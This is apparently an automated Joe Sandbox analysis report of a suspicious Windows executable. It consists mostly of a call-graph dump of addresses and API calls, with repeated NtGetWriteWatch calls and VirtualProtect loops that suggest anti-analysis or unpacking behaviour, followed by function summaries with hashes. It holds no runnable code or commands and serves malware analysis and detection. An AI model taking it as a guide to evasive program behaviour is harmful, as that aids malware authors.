7ff7657b14a9 3825->3826 3827 7ff7657b1394 2 API calls 3825->3827 3828 7ff7657b1394 2 API calls 3826->3828 3827->3826 3829 7ff7657b14b3 3828->3829 3830 7ff7657b14b8 3829->3830 3831 7ff7657b1394 2 API calls 3829->3831 3832 7ff7657b1394 2 API calls 3830->3832 3831->3830 3833 7ff7657b14c2 3832->3833 3834 7ff7657b14c7 3833->3834 3835 7ff7657b1394 2 API calls 3833->3835 3836 7ff7657b1394 2 API calls 3834->3836 3835->3834 3837 7ff7657b14d6 3836->3837 3838 7ff7657b1394 2 API calls 3837->3838 3839 7ff7657b14e0 3838->3839 3840 7ff7657b14e5 3839->3840 3841 7ff7657b1394 2 API calls 3839->3841 3842 7ff7657b1394 2 API calls 3840->3842 3841->3840 3843 7ff7657b14ef 3842->3843 3844 7ff7657b14f4 3843->3844 3845 7ff7657b1394 2 API calls 3843->3845 3846 7ff7657b1394 2 API calls 3844->3846 3845->3844 3847 7ff7657b14fe 3846->3847 3848 7ff7657b1503 3847->3848 3849 7ff7657b1394 2 API calls 3847->3849 3850 7ff7657b1394 2 API calls 3848->3850 3849->3848 3851 7ff7657b150d 3850->3851 3852 7ff7657b1394 2 API calls 3851->3852 3853 7ff7657b1512 3852->3853 3854 7ff7657b1394 2 API calls 3853->3854 3855 7ff7657b1521 3854->3855 3856 7ff7657b1394 2 API calls 3855->3856 3857 7ff7657b1530 3856->3857 3858 7ff7657b1394 2 API calls 3857->3858 3859 7ff7657b153f 3858->3859 3860 7ff7657b1394 2 API calls 3859->3860 3861 7ff7657b154e 3860->3861 3862 7ff7657b1394 2 API calls 3861->3862 3863 7ff7657b155d 3862->3863 3864 7ff7657b1394 2 API calls 3863->3864 3865 7ff7657b156c 3864->3865 3866 7ff7657b1394 2 API calls 3865->3866 3867 7ff7657b157b 3866->3867 3868 7ff7657b1394 2 API calls 3867->3868 3869 7ff7657b158a 3868->3869 3870 7ff7657b1394 2 API calls 3869->3870 3871 7ff7657b1599 3870->3871 3872 7ff7657b15a8 3871->3872 3873 7ff7657b1394 2 API calls 3871->3873 3874 7ff7657b1394 2 API calls 3872->3874 3873->3872 3875 7ff7657b15b7 3874->3875 3876 7ff7657b1394 2 API calls 3875->3876 3877 7ff7657b15c1 3876->3877 3878 7ff7657b15c6 3877->3878 3879 7ff7657b1394 2 API calls 3877->3879 3880 7ff7657b1394 2 API calls 3878->3880 3879->3878 3881 7ff7657b15d0 3880->3881 3882 7ff7657b15d5 3881->3882 3883 7ff7657b1394 2 API calls 3881->3883 3884 7ff7657b1394 2 API calls 3882->3884 3883->3882 3885 7ff7657b15df 3884->3885 3886 7ff7657b15e4 3885->3886 3887 7ff7657b1394 2 API calls 3885->3887 3888 7ff7657b1394 2 API calls 3886->3888 3887->3886 3889 7ff7657b15f3 3888->3889 3889->3516 3891 7ff7657b1394 2 API calls 3890->3891 3892 7ff7657b1440 3891->3892 3893 7ff7657b1394 2 API calls 3892->3893 3894 7ff7657b144f 3893->3894 3895 7ff7657b1394 2 API calls 3894->3895 3896 7ff7657b145e 3895->3896 3897 7ff7657b1394 2 API calls 3896->3897 3898 7ff7657b146d 3897->3898 3899 7ff7657b1394 2 API calls 3898->3899 3900 7ff7657b147c 3899->3900 3901 7ff7657b1394 2 API calls 3900->3901 3902 7ff7657b148b 3901->3902 3903 7ff7657b149a 3902->3903 3904 7ff7657b1394 2 API calls 3902->3904 3905 7ff7657b1394 2 API calls 3903->3905 3904->3903 3906 7ff7657b14a4 3905->3906 3907 7ff7657b14a9 3906->3907 3908 7ff7657b1394 2 API calls 3906->3908 3909 7ff7657b1394 2 API calls 3907->3909 3908->3907 3910 7ff7657b14b3 3909->3910 3911 7ff7657b14b8 3910->3911 3912 7ff7657b1394 2 API calls 3910->3912 3913 7ff7657b1394 2 API calls 3911->3913 3912->3911 3914 7ff7657b14c2 3913->3914 3915 7ff7657b14c7 3914->3915 3916 7ff7657b1394 2 API calls 3914->3916 3917 7ff7657b1394 2 API calls 3915->3917 3916->3915 3918 7ff7657b14d6 3917->3918 3919 7ff7657b1394 2 API calls 3918->3919 3920 7ff7657b14e0 3919->3920 3921 7ff7657b14e5 3920->3921 3922 7ff7657b1394 2 API calls 3920->3922 3923 7ff7657b1394 2 API calls 3921->3923 3922->3921 3924 7ff7657b14ef 3923->3924 3925 7ff7657b14f4 3924->3925 3926 7ff7657b1394 2 API calls 3924->3926 3927 7ff7657b1394 2 API calls 3925->3927 3926->3925 3928 7ff7657b14fe 3927->3928 3929 7ff7657b1503 3928->3929 3930 7ff7657b1394 2 API calls 3928->3930 3931 7ff7657b1394 2 API calls 3929->3931 3930->3929 3932 7ff7657b150d 3931->3932 3933 7ff7657b1394 2 API calls 3932->3933 3934 7ff7657b1512 3933->3934 3935 7ff7657b1394 2 API calls 3934->3935 3936 7ff7657b1521 3935->3936 3937 7ff7657b1394 2 API calls 3936->3937 3938 7ff7657b1530 3937->3938 3939 7ff7657b1394 2 API calls 3938->3939 3940 7ff7657b153f 3939->3940 3941 7ff7657b1394 2 API calls 3940->3941 3942 7ff7657b154e 3941->3942 3943 7ff7657b1394 2 API calls 3942->3943 3944 7ff7657b155d 3943->3944 3945 7ff7657b1394 2 API calls 3944->3945 3946 7ff7657b156c 3945->3946 3947 7ff7657b1394 2 API calls 3946->3947 3948 7ff7657b157b 3947->3948 3949 7ff7657b1394 2 API calls 3948->3949 3950 7ff7657b158a 3949->3950 3951 7ff7657b1394 2 API calls 3950->3951 3952 7ff7657b1599 3951->3952 3953 7ff7657b15a8 3952->3953 3954 7ff7657b1394 2 API calls 3952->3954 3955 7ff7657b1394 2 API calls 3953->3955 3954->3953 3956 7ff7657b15b7 3955->3956 3957 7ff7657b1394 2 API calls 3956->3957 3958 7ff7657b15c1 3957->3958 3959 7ff7657b15c6 3958->3959 3960 7ff7657b1394 2 API calls 3958->3960 3961 7ff7657b1394 2 API calls 3959->3961 3960->3959 3962 7ff7657b15d0 3961->3962 3963 7ff7657b15d5 3962->3963 3964 7ff7657b1394 2 API calls 3962->3964 3965 7ff7657b1394 2 API calls 3963->3965 3964->3963 3966 7ff7657b15df 3965->3966 3967 7ff7657b15e4 3966->3967 3968 7ff7657b1394 2 API calls 3966->3968 3969 7ff7657b1394 2 API calls 3967->3969 3968->3967 3970 7ff7657b15f3 3969->3970 3970->3520 3972 7ff7657b1394 2 API calls 3971->3972 3973 7ff7657b14c2 3972->3973 3974 7ff7657b14c7 3973->3974 3975 7ff7657b1394 2 API calls 3973->3975 3976 7ff7657b1394 2 API calls 3974->3976 3975->3974 3977 7ff7657b14d6 3976->3977 3978 7ff7657b1394 2 API calls 3977->3978 3979 7ff7657b14e0 3978->3979 3980 7ff7657b14e5 3979->3980 3981 7ff7657b1394 2 API calls 3979->3981 3982 7ff7657b1394 2 API calls 3980->3982 3981->3980 3983 7ff7657b14ef 3982->3983 3984 7ff7657b14f4 3983->3984 3985 7ff7657b1394 2 API calls 3983->3985 3986 7ff7657b1394 2 API calls 3984->3986 3985->3984 3987 7ff7657b14fe 3986->3987 3988 7ff7657b1503 3987->3988 3989 7ff7657b1394 2 API calls 3987->3989 3990 7ff7657b1394 2 API calls 3988->3990 3989->3988 3991 7ff7657b150d 3990->3991 3992 7ff7657b1394 2 API calls 3991->3992 3993 7ff7657b1512 3992->3993 3994 7ff7657b1394 2 API calls 3993->3994 3995 7ff7657b1521 3994->3995 3996 7ff7657b1394 2 API calls 3995->3996 3997 7ff7657b1530 3996->3997 3998 7ff7657b1394 2 API calls 3997->3998 3999 7ff7657b153f 3998->3999 4000 7ff7657b1394 2 API calls 3999->4000 4001 7ff7657b154e 4000->4001 4002 7ff7657b1394 2 API calls 4001->4002 4003 7ff7657b155d 4002->4003 4004 7ff7657b1394 2 API calls 4003->4004 4005 7ff7657b156c 4004->4005 4006 7ff7657b1394 2 API calls 4005->4006 4007 7ff7657b157b 4006->4007 4008 7ff7657b1394 2 API calls 4007->4008 4009 7ff7657b158a 4008->4009 4010 7ff7657b1394 2 API calls 4009->4010 4011 7ff7657b1599 4010->4011 4012 7ff7657b15a8 4011->4012 4013 7ff7657b1394 2 API calls 4011->4013 4014 7ff7657b1394 2 API calls 4012->4014 4013->4012 4015 7ff7657b15b7 4014->4015 4016 7ff7657b1394 2 API calls 4015->4016 4017 7ff7657b15c1 4016->4017 4018 7ff7657b15c6 4017->4018 4019 7ff7657b1394 2 API calls 4017->4019 4020 7ff7657b1394 2 API calls 4018->4020 4019->4018 4021 7ff7657b15d0 4020->4021 4022 7ff7657b15d5 4021->4022 4023 7ff7657b1394 2 API calls 4021->4023 4024 7ff7657b1394 2 API calls 4022->4024 4023->4022 4025 7ff7657b15df 4024->4025 4026 7ff7657b15e4 4025->4026 4027 7ff7657b1394 2 API calls 4025->4027 4028 7ff7657b1394 2 API calls 4026->4028 4027->4026 4029 7ff7657b15f3 4028->4029 4029->3594 4031 7ff7657b1394 2 API calls 4030->4031 4032 7ff7657b15df 4031->4032 4033 7ff7657b15e4 4032->4033 4034 7ff7657b1394 2 API calls 4032->4034 4035 7ff7657b1394 2 API calls 4033->4035 4034->4033 4036 7ff7657b15f3 4035->4036 4036->3594 4038 7ff7657b149a 4037->4038 4039 7ff7657b1394 2 API calls 4037->4039 4040 7ff7657b1394 2 API calls 4038->4040 4039->4038 4041 7ff7657b14a4 4040->4041 4042 7ff7657b14a9 4041->4042 4043 7ff7657b1394 2 API calls 4041->4043 4044 7ff7657b1394 2 API calls 4042->4044 4043->4042 4045 7ff7657b14b3 4044->4045 4046 7ff7657b14b8 4045->4046 4047 7ff7657b1394 2 API calls 4045->4047 4048 7ff7657b1394 2 API calls 4046->4048 4047->4046 4049 7ff7657b14c2 4048->4049 4050 7ff7657b14c7 4049->4050 4051 7ff7657b1394 2 API calls 4049->4051 4052 7ff7657b1394 2 API calls 4050->4052 4051->4050 4053 7ff7657b14d6 4052->4053 4054 7ff7657b1394 2 API calls 4053->4054 4055 7ff7657b14e0 4054->4055 4056 7ff7657b14e5 4055->4056 4057 7ff7657b1394 2 API calls 4055->4057 4058 7ff7657b1394 2 API calls 4056->4058 4057->4056 4059 7ff7657b14ef 4058->4059 4060 7ff7657b14f4 4059->4060 4061 7ff7657b1394 2 API calls 4059->4061 4062 7ff7657b1394 2 API calls 4060->4062 4061->4060 4063 7ff7657b14fe 4062->4063 4064 7ff7657b1503 4063->4064 4065 7ff7657b1394 2 API calls 4063->4065 4066 7ff7657b1394 2 API calls 4064->4066 4065->4064 4067 7ff7657b150d 4066->4067 4068 7ff7657b1394 2 API calls 4067->4068 4069 7ff7657b1512 4068->4069 4070 7ff7657b1394 2 API calls 4069->4070 4071 7ff7657b1521 4070->4071 4072 7ff7657b1394 2 API calls 4071->4072 4073 7ff7657b1530 4072->4073 4074 7ff7657b1394 2 API calls 4073->4074 4075 7ff7657b153f 4074->4075 4076 7ff7657b1394 2 API calls 4075->4076 4077 7ff7657b154e 4076->4077 4078 7ff7657b1394 2 API calls 4077->4078 4079 7ff7657b155d 4078->4079 4080 7ff7657b1394 2 API calls 4079->4080 4081 7ff7657b156c 4080->4081 4082 7ff7657b1394 2 API calls 4081->4082 4083 7ff7657b157b 4082->4083 4084 7ff7657b1394 2 API calls 4083->4084 4085 7ff7657b158a 4084->4085 4086 7ff7657b1394 2 API calls 4085->4086 4087 7ff7657b1599 4086->4087 4088 7ff7657b15a8 4087->4088 4089 7ff7657b1394 2 API calls 4087->4089 4090 7ff7657b1394 2 API calls 4088->4090 4089->4088 4091 7ff7657b15b7 4090->4091 4092 7ff7657b1394 2 API calls 4091->4092 4093 7ff7657b15c1 4092->4093 4094 7ff7657b15c6 4093->4094 4095 7ff7657b1394 2 API calls 4093->4095 4096 7ff7657b1394 2 API calls 4094->4096 4095->4094 4097 7ff7657b15d0 4096->4097 4098 7ff7657b15d5 4097->4098 4099 7ff7657b1394 2 API calls 4097->4099 4100 7ff7657b1394 2 API calls 4098->4100 4099->4098 4101 7ff7657b15df 4100->4101 4102 7ff7657b15e4 4101->4102 4103 7ff7657b1394 2 API calls 4101->4103 4104 7ff7657b1394 2 API calls 4102->4104 4103->4102 4105 7ff7657b15f3 4104->4105 4105->3587 4106 7ff7657b149a 4105->4106 4107 7ff7657b1394 2 API calls 4106->4107 4108 7ff7657b14a4 4107->4108 4109 7ff7657b14a9 4108->4109 4110 7ff7657b1394 2 API calls 4108->4110 4111 7ff7657b1394 2 API calls 4109->4111 4110->4109 4112 7ff7657b14b3 4111->4112 4113 7ff7657b14b8 4112->4113 4114 7ff7657b1394 2 API calls 4112->4114 4115 7ff7657b1394 2 API calls 4113->4115 4114->4113 4116 7ff7657b14c2 4115->4116 4117 7ff7657b14c7 4116->4117 4118 7ff7657b1394 2 API calls 4116->4118 4119 7ff7657b1394 2 API calls 4117->4119 4118->4117 4120 7ff7657b14d6 4119->4120 4121 7ff7657b1394 2 API calls 4120->4121 4122 7ff7657b14e0 4121->4122 4123 7ff7657b14e5 4122->4123 4124 7ff7657b1394 2 API calls 4122->4124 4125 7ff7657b1394 2 API calls 4123->4125 4124->4123 4126 7ff7657b14ef 4125->4126 4127 7ff7657b14f4 4126->4127 4128 7ff7657b1394 2 API calls 4126->4128 4129 7ff7657b1394 2 API calls 4127->4129 4128->4127 4130 7ff7657b14fe 4129->4130 4131 7ff7657b1503 4130->4131 4132 7ff7657b1394 2 API calls 4130->4132 4133 7ff7657b1394 2 API calls 4131->4133 4132->4131 4134 7ff7657b150d 4133->4134 4135 7ff7657b1394 2 API calls 4134->4135 4136 7ff7657b1512 4135->4136 4137 7ff7657b1394 2 API calls 4136->4137 4138 7ff7657b1521 4137->4138 4139 7ff7657b1394 2 API calls 4138->4139 4140 7ff7657b1530 4139->4140 4141 7ff7657b1394 2 API calls 4140->4141 4142 7ff7657b153f 4141->4142 4143 7ff7657b1394 2 API calls 4142->4143 4144 7ff7657b154e 4143->4144 4145 7ff7657b1394 2 API calls 4144->4145 4146 7ff7657b155d 4145->4146 4147 7ff7657b1394 2 API calls 4146->4147 4148 7ff7657b156c 4147->4148 4149 7ff7657b1394 2 API calls 4148->4149 4150 7ff7657b157b 4149->4150 4151 7ff7657b1394 2 API calls 4150->4151 4152 7ff7657b158a 4151->4152 4153 7ff7657b1394 2 API calls 4152->4153 4154 7ff7657b1599 4153->4154 4155 7ff7657b15a8 4154->4155 4156 7ff7657b1394 2 API calls 4154->4156 4157 7ff7657b1394 2 API calls 4155->4157 4156->4155 4158 7ff7657b15b7 4157->4158 4159 7ff7657b1394 2 API calls 4158->4159 4160 7ff7657b15c1 4159->4160 4161 7ff7657b15c6 4160->4161 4162 7ff7657b1394 2 API calls 4160->4162 4163 7ff7657b1394 2 API calls 4161->4163 4162->4161 4164 7ff7657b15d0 4163->4164 4165 7ff7657b15d5 4164->4165 4166 7ff7657b1394 2 API calls 4164->4166 4167 7ff7657b1394 2 API calls 4165->4167 4166->4165 4168 7ff7657b15df 4167->4168 4169 7ff7657b15e4 4168->4169 4170 7ff7657b1394 2 API calls 4168->4170 4171 7ff7657b1394 2 API calls 4169->4171 4170->4169 4172 7ff7657b15f3 4171->4172 4172->3587 4172->3598 4174 7ff7657b1394 2 API calls 4173->4174 4175 7ff7657b148b 4174->4175 4176 7ff7657b149a 4175->4176 4177 7ff7657b1394 2 API calls 4175->4177 4178 7ff7657b1394 2 API calls 4176->4178 4177->4176 4179 7ff7657b14a4 4178->4179 4180 7ff7657b14a9 4179->4180 4181 7ff7657b1394 2 API calls 4179->4181 4182 7ff7657b1394 2 API calls 4180->4182 4181->4180 4183 7ff7657b14b3 4182->4183 4184 7ff7657b14b8 4183->4184 4185 7ff7657b1394 2 API calls 4183->4185 4186 7ff7657b1394 2 API calls 4184->4186 4185->4184 4187 7ff7657b14c2 4186->4187 4188 7ff7657b14c7 4187->4188 4189 7ff7657b1394 2 API calls 4187->4189 4190 7ff7657b1394 2 API calls 4188->4190 4189->4188 4191 7ff7657b14d6 4190->4191 4192 7ff7657b1394 2 API calls 4191->4192 4193 7ff7657b14e0 4192->4193 4194 7ff7657b14e5 4193->4194 4195 7ff7657b1394 2 API calls 4193->4195 4196 7ff7657b1394 2 API calls 4194->4196 4195->4194 4197 7ff7657b14ef 4196->4197 4198 7ff7657b14f4 4197->4198 4199 7ff7657b1394 2 API calls 4197->4199 4200 7ff7657b1394 2 API calls 4198->4200 4199->4198 4201 7ff7657b14fe 4200->4201 4202 7ff7657b1503 4201->4202 4203 7ff7657b1394 2 API calls 4201->4203 4204 7ff7657b1394 2 API calls 4202->4204 4203->4202 4205 7ff7657b150d 4204->4205 4206 7ff7657b1394 2 API calls 4205->4206 4207 7ff7657b1512 4206->4207 4208 7ff7657b1394 2 API calls 4207->4208 4209 7ff7657b1521 4208->4209 4210 7ff7657b1394 2 API calls 4209->4210 4211 7ff7657b1530 4210->4211 4212 7ff7657b1394 2 API calls 4211->4212 4213 7ff7657b153f 4212->4213 4214 7ff7657b1394 2 API calls 4213->4214 4215 7ff7657b154e 4214->4215 4216 7ff7657b1394 2 API calls 4215->4216 4217 7ff7657b155d 4216->4217 4218 7ff7657b1394 2 API calls 4217->4218 4219 7ff7657b156c 4218->4219 4220 7ff7657b1394 2 API calls 4219->4220 4221 7ff7657b157b 4220->4221 4222 7ff7657b1394 2 API calls 4221->4222 4223 7ff7657b158a 4222->4223 4224 7ff7657b1394 2 API calls 4223->4224 4225 7ff7657b1599 4224->4225 4226 7ff7657b15a8 4225->4226 4227 7ff7657b1394 2 API calls 4225->4227 4228 7ff7657b1394 2 API calls 4226->4228 4227->4226 4229 7ff7657b15b7 4228->4229 4230 7ff7657b1394 2 API calls 4229->4230 4231 7ff7657b15c1 4230->4231 4232 7ff7657b15c6 4231->4232 4233 7ff7657b1394 2 API calls 4231->4233 4234 7ff7657b1394 2 API calls 4232->4234 4233->4232 4235 7ff7657b15d0 4234->4235 4236 7ff7657b15d5 4235->4236 4237 7ff7657b1394 2 API calls 4235->4237 4238 7ff7657b1394 2 API calls 4236->4238 4237->4236 4239 7ff7657b15df 4238->4239 4240 7ff7657b15e4 4239->4240 4241 7ff7657b1394 2 API calls 4239->4241 4242 7ff7657b1394 2 API calls 4240->4242 4241->4240 4243 7ff7657b15f3 4242->4243 4243->3603 4245 7ff7657b1394 2 API calls 4244->4245 4246 7ff7657b15d0 4245->4246 4247 7ff7657b15d5 4246->4247 4248 7ff7657b1394 2 API calls 4246->4248 4249 7ff7657b1394 2 API calls 4247->4249 4248->4247 4250 7ff7657b15df 4249->4250 4251 7ff7657b15e4 4250->4251 4252 7ff7657b1394 2 API calls 4250->4252 4253 7ff7657b1394 2 API calls 4251->4253 4252->4251 4254 7ff7657b15f3 4253->4254 4254->3584 4259 7ff7657b2320 strlen 4260 7ff7657b2337 4259->4260 4320 7ff7657b1000 4321 7ff7657b108b __set_app_type 4320->4321 4322 7ff7657b1040 4320->4322 4324 7ff7657b10b6 4321->4324 4322->4321 4323 7ff7657b10e5 4324->4323 4326 7ff7657b1e00 4324->4326 4327 7ff7657b88c0 __setusermatherr 4326->4327 4328 7ff7657b1800 4329 7ff7657b1812 4328->4329 4330 7ff7657b1835 fprintf 4329->4330 4300 7ff7657b1e65 4301 7ff7657b1e67 signal 4300->4301 4302 7ff7657b1e7c 4301->4302 4304 7ff7657b1e99 4301->4304 4303 7ff7657b1e82 signal 4302->4303 4302->4304 4303->4304 4273 7ff7657b1ac3 4276 7ff7657b199e 4273->4276 4274 7ff7657b1b36 4275 7ff7657b1ba0 4 API calls 4274->4275 4278 7ff7657b1a0f 4275->4278 4276->4274 4277 7ff7657b19e9 VirtualProtect 4276->4277 4276->4278 4277->4276 4331 7ff7657b2104 4332 7ff7657b2111 EnterCriticalSection 4331->4332 4334 7ff7657b2218 4331->4334 4335 7ff7657b220b LeaveCriticalSection 4332->4335 4339 7ff7657b212e 4332->4339 4333 7ff7657b2272 4334->4333 4336 7ff7657b2241 DeleteCriticalSection 4334->4336 4338 7ff7657b2230 free 4334->4338 4335->4334 4336->4333 4337 7ff7657b214d TlsGetValue GetLastError 4337->4339 4338->4336 4338->4338 4339->4335 4339->4337 4261 7ff7657b219e 4262 7ff7657b2272 4261->4262 4263 7ff7657b21ab EnterCriticalSection 4261->4263 4264 7ff7657b2265 LeaveCriticalSection 4263->4264 4266 7ff7657b21c8 4263->4266 4264->4262 4265 7ff7657b21e9 TlsGetValue GetLastError 4265->4266 4266->4264 4266->4265 4311 7ff7657b216f 4312 7ff7657b2185 4311->4312 4313 7ff7657b2178 InitializeCriticalSection 4311->4313 4313->4312 4279 7ff7657b1fd0 4280 7ff7657b1fe4 4279->4280 4281 7ff7657b2033 4279->4281 4280->4281 4282 7ff7657b1ffd EnterCriticalSection LeaveCriticalSection 4280->4282 4282->4281 4283 7ff7657b2050 4284 7ff7657b20cf 4283->4284 4285 7ff7657b205e EnterCriticalSection 4283->4285 4286 7ff7657b20c2 LeaveCriticalSection 4285->4286 4287 7ff7657b2079 4285->4287 4286->4284 4287->4286 4288 7ff7657b20bd free 4287->4288 4288->4286 4314 7ff7657b1a70 4317 7ff7657b199e 4314->4317 4315 7ff7657b19e9 VirtualProtect 4315->4314 4315->4317 4316 7ff7657b1a0f 4317->4314 4317->4315 4317->4316 4318 7ff7657b1b36 4317->4318 4319 7ff7657b1ba0 4 API calls 4318->4319 4319->4316 4340 7ff7657b1e10 4341 7ff7657b1e2f 4340->4341 4342 7ff7657b1eb5 4341->4342 4343 7ff7657b1ecc 4341->4343 4346 7ff7657b1e55 4341->4346 4343->4342 4344 7ff7657b1ed3 signal 4343->4344 4344->4342 4345 7ff7657b1ee4 4344->4345 4345->4342 4347 7ff7657b1eea signal 4345->4347 4346->4342 4348 7ff7657b1f12 signal 4346->4348 4347->4342 4348->4342 4267 7ff7657b1ab3 4268 7ff7657b199e 4267->4268 4268->4267 4269 7ff7657b1a0f 4268->4269 4270 7ff7657b1b36 4268->4270 4272 7ff7657b19e9 VirtualProtect 4268->4272 4271 7ff7657b1ba0 4 API calls 4270->4271 4271->4269 4272->4268 4255 7ff7657b1394 4256 7ff7657b8330 malloc 4255->4256 4257 7ff7657b13b8 4256->4257 4258 7ff7657b13c6 NtGetWriteWatch 4257->4258 4295 7ff7657b1f47 4296 7ff7657b1e67 signal 4295->4296 4299 7ff7657b1e99 4295->4299 4297 7ff7657b1e7c 4296->4297 4296->4299 4298 7ff7657b1e82 signal 4297->4298 4297->4299 4298->4299

                                                              Executed Functions

                                                              Function 00007FF7657B1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                              • String ID:
                                                              • API String ID: 2643109117-0
                                                              • Opcode ID: 483d001c97a7ea85cdae413bbec331dacbfcacd9846df1f84366e4dc8b9f73c0
                                                              • Instruction ID: 068cd1d64feb007766da0aae9a94560f90af123249b9426b3f5f98ca56290adf
                                                              • Opcode Fuzzy Hash: 483d001c97a7ea85cdae413bbec331dacbfcacd9846df1f84366e4dc8b9f73c0
                                                              • Instruction Fuzzy Hash: 73512431E1A647C5FA10BF25E9907B9A7A1BF6CF94FC05031DA0D873A1EE2CA441E360
                                                              Function 00007FF7657B1394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • NtGetWriteWatch.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7657B1156), ref: 00007FF7657B13F7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: WatchWrite
                                                              • String ID:
                                                              • API String ID: 4281435843-0
                                                              • Opcode ID: de85e3c4d628d33e879659df1e71a7dc238c17b1dde7bdcd31813a6ba6a8a804
                                                              • Instruction ID: 48a29d0a6b35c6873d96825a7f234e98a547f05a17f3fe3b0c132ba10e4081ae
                                                              • Opcode Fuzzy Hash: de85e3c4d628d33e879659df1e71a7dc238c17b1dde7bdcd31813a6ba6a8a804
                                                              • Instruction Fuzzy Hash: EAF09C7190CB46C6D614EF51F89153AB760FBACB80F805535E99C43725DF3CE1509B60

                                                              Non-executed Functions

                                                              Function 00007FF7657B3B50 Relevance: 121.2, APIs: 67, Strings: 1, Instructions: 2205COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$memcpy$_wcsicmp
                                                              • String ID:
                                                              • API String ID: 3604702941-3916222277
                                                              • Opcode ID: 29b5285806c1968d0920bac76d5105a20df11dc7c57f5dbcb52e19f81776d761
                                                              • Instruction ID: 2501c299c14f593d089e67c00baf4512846454b72cf28b3ea515d7f74653820c
                                                              • Opcode Fuzzy Hash: 29b5285806c1968d0920bac76d5105a20df11dc7c57f5dbcb52e19f81776d761
                                                              • Instruction Fuzzy Hash: 6D536021C2C6C2C5F711AF29EC417F4EB60AFA9B48FC45336D98C965A1EF6C6244E364
                                                              Function 00007FF7657B3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: memset$wcscatwcscpywcslen
                                                              • String ID: $0$0$@$@
                                                              • API String ID: 4263182637-1413854666
                                                              • Opcode ID: d5aa8bc79ef38d887bbf49588082acdc49f343413a4b5a32b456813d35dc3de7
                                                              • Instruction ID: e105798f49f248f9aed3e107d8d47593f389ecf1a5b1ef2eafad65b2f1d609a4
                                                              • Opcode Fuzzy Hash: d5aa8bc79ef38d887bbf49588082acdc49f343413a4b5a32b456813d35dc3de7
